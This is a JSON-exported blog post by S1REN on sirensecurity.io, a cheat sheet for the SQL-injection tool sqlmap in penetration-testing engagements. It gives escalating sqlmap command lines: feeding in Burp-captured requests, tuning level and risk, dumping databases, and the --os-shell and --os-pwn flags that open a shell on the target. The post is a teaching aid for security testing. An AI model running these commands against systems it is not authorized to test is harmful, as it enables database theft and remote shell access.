{"id":312,"date":"2021-04-27T02:30:29","date_gmt":"2021-04-27T02:30:29","guid":{"rendered":"https:\/\/sirensecurity.io\/blog\/?p=312"},"modified":"2021-07-15T03:02:57","modified_gmt":"2021-07-15T03:02:57","slug":"sqlmap","status":"publish","type":"post","link":"https:\/\/sirensecurity.io\/blog\/sqlmap\/","title":{"rendered":"SQLMap."},"content":{"rendered":"\n<div class=\"wp-block-cover has-background-dim\"><img loading=\"lazy\" decoding=\"async\" width=\"3000\" height=\"2001\" class=\"wp-block-cover__image-background wp-image-313\" alt=\"\" src=\"https:\/\/sirensecurity.io\/blog\/wp-content\/uploads\/2021\/04\/9-1.jpg\" data-object-fit=\"cover\"\/><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-black-color has-text-color\">S1REN<\/p>\n\n\n\n<p class=\"has-text-align-center has-large-font-size\">Yeah, it's pretty useful.<\/p>\n<\/div><\/div>\n\n\n\n<p id=\"sqlmap\"><img loading=\"lazy\" decoding=\"async\" width=\"400\" height=\"225\" class=\"wp-image-314\" style=\"width: 400px;\" src=\"https:\/\/sirensecurity.io\/blog\/wp-content\/uploads\/2021\/04\/10.gif\" alt=\"\"><br><br>I'm going to preface this with the fact that you will always want to find an endpoint with as many GET and POST parameters in a single query as possible. Being able to iterate through multiple parameters recursively to test for Input Sanitization is extremely powerful during an engagement.<br><br>The more the merrier.<br><br>S1REN<em>, Will you-<\/em><br><em>Will I cover SQL Injection in a future blog post? <\/em><br>Who knows!<br><em>Who can say!?<\/em><br><br><strong>[<\/strong> sqlmap<strong> ] <\/strong><br><a href=\"https:\/\/tools.kali.org\/vulnerability-analysis\/sqlmap\">https:\/\/tools.kali.org\/vulnerability-analysis\/sqlmap<\/a><br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>SQLMAP AND POST DATA: <\/strong><br><strong>--&gt; <\/strong>Intercept HTTP POST request in Burp. <br><strong>--&gt;<\/strong> touch request.txt<br><strong>--&gt;<\/strong> nano request.txt<br><strong>--&gt;<\/strong> paste.<br><strong>--&gt;<\/strong> Remove each additional \\r\\n (Carriage Return &amp; Newline Data - usually just an empty space after each header...)<br><strong>--&gt;<\/strong> sqlmap -r request.txt<br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Optionally:<\/strong><br><strong>--&gt;<\/strong> --dbms=mysql (<em>Specify the Database Management System to save a LOT of time with SQLMAP...<\/em>)<br><strong>--&gt;<\/strong> --threads=2 (<em>Specify more threads if you wish - I find two to be fine.<\/em>)<br><strong>--&gt;<\/strong> --time-sec=10 (<em>In the event of time-based SQLi Queries - make the sleep time to 10 seconds...<\/em>)<br><strong>--&gt;<\/strong> --level=2 (<em>Specify the level for SQLMAP - it goes to a maximum of 5 levels.<\/em>)<br><strong>--&gt;<\/strong> --risk=2 (<em>Risk goes up to 3 at max.<\/em>)<br><strong>--&gt;<\/strong> --technique=T (<em>This will specify for any Time-Based versus a value of 'B' which would be \"Boolean Based\" heavy stack queries.<\/em>)<br><strong>--&gt;<\/strong> --force-ssl (<em>Some modern databases themselves require SSL Protocol.<\/em>)<br><strong>--&gt;<\/strong> --dbs (<em>Extract a Database Name<\/em>)<br><strong>--&gt;<\/strong> -D &lt;database name&gt; (<em>Found a Database Name? Tell SQLMap which one you're interested in.<\/em>)<br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>All Together for request.txt:<\/strong><br><span style=\"text-decoration: underline;\">sqlmap -r request.txt<\/span><br>sqlmap -r request.txt --threads=2 <br>sqlmap -r request.txt --threads=2 --time-sec=10<br>sqlmap -r request.txt --threads=2 --time-sec=10 --level=2 <br>sqlmap -r request.txt --threads=2 --time-sec=10 --level=2 --risk=2 <br>sqlmap -r request.txt --threads=2 --time-sec=10 --level=2 --risk=2 --force-ssl --force-ssl<br>sqlmap -r request.txt --threads=2 --time-sec=10 --level=2 --risk=2 --force-ssl  --dump<br>sqlmap -r request.txt --threads=2 --time-sec=10 --level=2 --risk=2 --force-ssl  --dump --os-shell<br>sqlmap -r request.txt --threads=2 --time-sec=10 --level=2 --risk=2 --force-ssl  --dump --os-pwn<br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>On your URL Environment Variable :<\/strong><br>sqlmap -u $URL --threads=2 --time-sec=10 --level=2 --risk=2 --technique=T --force-ssl<br><strong>--&gt;<\/strong> or<br>sqlmap -u $URL --threads=2 --time-sec=10 --level=2 --risk=2 --technique=B --force-ssl<br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Need to specify the DMBS?<\/strong><br>--dbms=&lt;DBMS&gt;<br>--dbms=mysql<br>--dbms=mssql<br><strong>--&gt;<\/strong> etc.<br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Dump all data we get please to the terminal <em>please<\/em>.<\/strong><br>--dump<br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>If the DBMS is configured to permit I\/O Operations (<\/strong><em>Specifically Output<\/em><strong>).<\/strong> - <span style=\"text-decoration: underline;\">Shell<\/span><br>--os-shell<br><br><strong>[<\/strong> + <strong>]<\/strong> <strong>Specify a specific parameter to Test<\/strong> (i.e. <em>I want to test parameter9 rather than parameters1-8 as I know that's where the injection point is<\/em> <em>already<\/em>)<strong>.<\/strong><br><strong>--&gt;<\/strong>export URL=\"http:\/\/127.0.0.1:80\/superDuperCMS.php?p1=DATA&amp;p2=DATA&amp;p3=DATA&amp;<strong>p4<\/strong>=INJECTABLE-POINT<br>sqlmap -u $URL --threads=2 --risk=2 --level=3 --dbms=&lt;DBMS&gt; <strong>-p p4<\/strong><br><br><br><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I'm going to preface this with the fact that you will always want to find an endpoint with as many GET and POST parameters in a single query as possible. Being able to iterate through multiple parameters recursively to test for Input Sanitization is extremely powerful during an engagement. The more the merrier. S1REN, Will [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":313,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[4,55,53,16],"class_list":["post-312","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-s1ren","tag-s1ren","tag-sql-injection","tag-sqlmap","tag-tool"],"_links":{"self":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/312","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/comments?post=312"}],"version-history":[{"count":7,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/312\/revisions"}],"predecessor-version":[{"id":414,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/312\/revisions\/414"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/media\/313"}],"wp:attachment":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/media?parent=312"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/categories?post=312"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/tags?post=312"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}